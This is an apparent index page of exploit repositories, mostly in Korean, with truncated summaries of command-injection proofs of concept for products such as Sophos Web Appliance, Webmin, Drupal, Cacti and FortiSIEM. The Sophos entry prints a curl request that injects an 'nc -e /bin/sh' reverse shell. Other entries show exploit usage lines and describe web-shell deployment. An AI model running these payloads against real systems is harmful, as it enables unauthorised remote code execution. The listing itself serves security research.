CVE-2019-3929

CVE-2019-3929 Crestron/Barco/Extron/InFocus/TeqAV 원격 명령 삽입 CVE-2019-3929 Metasploit 모듈 Tenable의 설명에 따르면: 인증되지 않은 원격 공격자는 HTTP 엔드포인트 filetransfer.cgi에 조작된 요청을 전송하여 루트 권한으로 운영 체제 명령을 실행할 수 있습니다. 이 취약점은 알려진 모든 장치에 영향을 미치는 것으로 보입니다. 여기에는 Crestron AM-100 펌웨어 1.6.0.2, Crestron AM-101 펌웨어 2.7.0.1, Barco...

pyt

.. image:: https://travis-ci.org/python-security/pyt.svg?branch=master :target: https://travis-ci.org/python-security/pyt .. image:: https://readthedocs.org/projects/pyt/badge/?version=latest :target: http://pyt.readthedocs.io/en/latest/?badge=latest .. image::...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL 명령 주입 RCE 설명 rtsold8은 DNSSL 도메인 이름을 resolvconf8에 전달하기 전에 셸 메타문자를 검증하지 않습니다. $를 통한 명령 치환은 인접 네트워크에서 원격 코드 실행을 가능하게 합니다. 영향 대상: 2025-12-16 이전의 FreeBSD 13.x, 14.x, 15.x 사용법 sudo python3 exploit.py -i eth0 touch /tmp/pwned sudo python3 exploit.py -i eth0 -p 'id...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance의 사전 인증 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 184...

CVE-2019-15107

CVE-2019-15107 Webmin 익스플로잇 CVE-2019-15107 Webmin =1.920에서 문제가 발견되었습니다. passwordchange.cgi의 old 매개변수에는 명령 삽입 취약점이 포함되어 있습니다. NVD 컴파일 $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make 사용 예제 $ ./exploit http://thomaswreath.thm:10000 + CVE-2019-15107 Webmin...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS 명령 주입 Apache Ranger의 user-syncunixusersync 모듈에 존재하는 OS 명령 주입에 대한 실행 가능한 개념 증명PoC 재현 코드입니다. 동기화되는 각 사용자의 그룹을 열거하는 동안 UnixUserGroupBuilder는 셸을 통해 id 명령을 실행하며, 명령줄에 username 을 연결합니다: //...

CVE-2025-32778

CVE-2025-32778 - Web-Check Command Injection Exploit Description CVE-2025-32778 is a critical command injection vulnerability in Web-Check OSINT tool by Lissy93. It allows unauthenticated attackers to execute arbitrary system commands via the url parameter in the screenshot API. This Python scrip...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry 이전 명칭 MobileIron Sentry는 모바일 디바이스와 기업 백엔드 리소스이메일, SharePoint, 내부 웹 애플리케이션 간의 트래픽을 프록시하는 엔터프라이즈 보안 게이트웨이입니다. 모바일 디바이스 관리MDM 정책을 시행하고, 암호화된 모바일 세션을 종료하며, 엔터프라이즈 앱 배포를 위한 인증서 기반 인증을 발급합니다. Sentry 인스턴스는 일반적으로 포트8443 에서 인터넷에 노출되어 MICSMobile Iron Configuration Service 관리 AP...

CVE-2024-50498

CVE-2024-50498 영향을 받는 버전 WP Query Console =1.0 크레딧 https://github.com/RandomRobbieBF/CVE-2024-50498 전제 쿼리 유형은 WPQuery이고 WP Query Console은 일부 PHP 함수를 실행합니다. 사용법 python .\CVE-2024-50498.py 192.168.41.163 --query "id"...

CVE-2018-6961

CVE-2018-6961 Python3 익스플로잇 VMware NSX SD-WAN Edge by VeloCloud 3.1.0 이전 버전에는 로컬 웹 UI 구성 요소에 명령 삽입 취약점이 존재합니다. 이 구성 요소는 기본적으로 비활성화되어 있으며 신뢰할 수 없는 네트워크에서는 활성화하지 않아야 합니다. VMware의 VeloCloud는 향후 릴리스에서 이 서비스를 제품에서 제거할 예정입니다. 이 문제를 악용하면 원격 코드 실행이 발생할 수 있습니다. 링크 CVE 세부 정보...

Drupalgedon3

POC for Drupal exploit SA-CORE-2018-004 / CVE-2018-7602 Author Alexandre Nguyen Usage usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. 0x00 Dork shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 Use Java Version java -version openjdk...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: Authentication Bypass and Remote Code Execution This repository contains a PoC for the CVE-2022-46169 vulnerability, which allows an attacker to bypass authentication and execute arbitrary code remotely on the affected system. This vulnerability affects Cacti, version 1.2.22,...

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM 인증되지 않은 명령어 주입 취약한 FortiSIEM 어플라이언스에서 루트 권한으로 명령어를 무작정 실행하는 개념 증명 익스플로잇 블로그 게시물 근본 원인 및 침해 지표는 여기: https://www.horizon3.ai/attack-research/disclosures/cve-2023-34992-fortinet-fortisiem-command-injection-deep-dive 사용법 % python3 CVE-2023-34992.py -h usage:...

HP-HPLIP-Mass-CVE-checker-2026-09-

massexploit — HP HPLIP 대량 CVE 검사기 2026-09 HP HPLIP 3.26.6 — CVE-2026-91097부터 CVE-2026-91106까지를 위한 대량 검사check 및 연구용 익스플로잇exploit 드라이버. CVE| CVSS 4| CWE| 원격 ---|---|---|--- CVE-2026-91097| 7.0| CWE-787| 예 UI CVE-2026-91098| 8.6| CWE-122| 예 UI CVE-2026-91099| 5.1| CWE-61| 로컬 CVE-2026-91100| 6.8|...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M 명령 주입 익스플로잇 CVE-2025-69212 용 완전 자동화 익스플로잇 스크립트로, OpenSTAManager의 명령 주입 취약점입니다. 이 스크립트는 관리자 자격 증명으로 인증한 후, ZIP 아카이브에 포함된 조작된 P7M 파일을 통해 악성 PHP 웹 셸을 배포하고, 명령 실행 또는 리버스 셸을 제공합니다. 기능 자동 인증. 악성 ZIP 생성 및 업로드 invoice.p7m 주입. 특수 문자 문제 방지를 위한 Base64 명령 래핑. 리버스 셸 및 단일 명령...

CVE-Requests-1896609

CVE 요청 1896609 - feiskyer/mcp-kubernetes-server 요약 이 보고서는 feiskyer/mcp-kubernetes-server 패키지에서 발견된 두 가지 심각한 보안 취약점에 대해 자세히 설명합니다. 배포 시 서버는 Kubernetes 클러스터에 대한 제한적이고 안전한 접근을 제공하기 위한 MCP 도구인 kubectl을 노출합니다. 그러나 불충분한 입력 검증으로 인해 두 가지 별개의 공격 벡터가 발생합니다. OS 명령 주입: 공격자는 셸 메타문자예: ,, ;를 사용하여 명령을 연결함으로써 명령...

secpub

Cisco Nexus OS NX-OS - 명령어 "인젝션" / 입력 값 정화 문제. 발견자: Peter Adkins [email protected] 접근 권한: 로컬; 인증된 접근이 필요합니다. 추적 및 식별자: CVE - CVE-2011-2569 영향을 받는 OS: Cisco Nexus OS NX-OS 벤더 협력: 통보됨 - 일부 플랫폼에 패치 제공 / 구현됨. 영향을 받는 시스템 / 플랫폼: Nexus 7000 Nexus 5000 Nexus 4000 Nexus 3000 Nexus 2000 Nexus 1000V MD...

CVE-2022-33891

CVE-2022-33891 - Apache Spark Command Injection Vulnerability ⚠️ For educational and authorized security research purposes only Original Exploit Authors Very grateful to the original PoC author AkbarTrilaksana Description The Apache Spark UI offers the possibility to enable ACLs via the...

CVE-2022-21587-Oracle-EBS-

이 익스플로잇을 실행하기 위한 사전 요구 사항: python3 모듈: requests, os, sys, slipit 포함 uuencode 실행 전에, 윤리적 목적으로만 사용하십시오. 익스플로잇이 실행에 실패할 경우: 사전 요구 모듈이 이미 설치되어 있는지 확인하십시오. requests 설치 pip3 install requests slipit 설치: git clone https://github.com/usdAG/slipit cd slipit python3 setup.py sdist pip3 install --user dist/ ...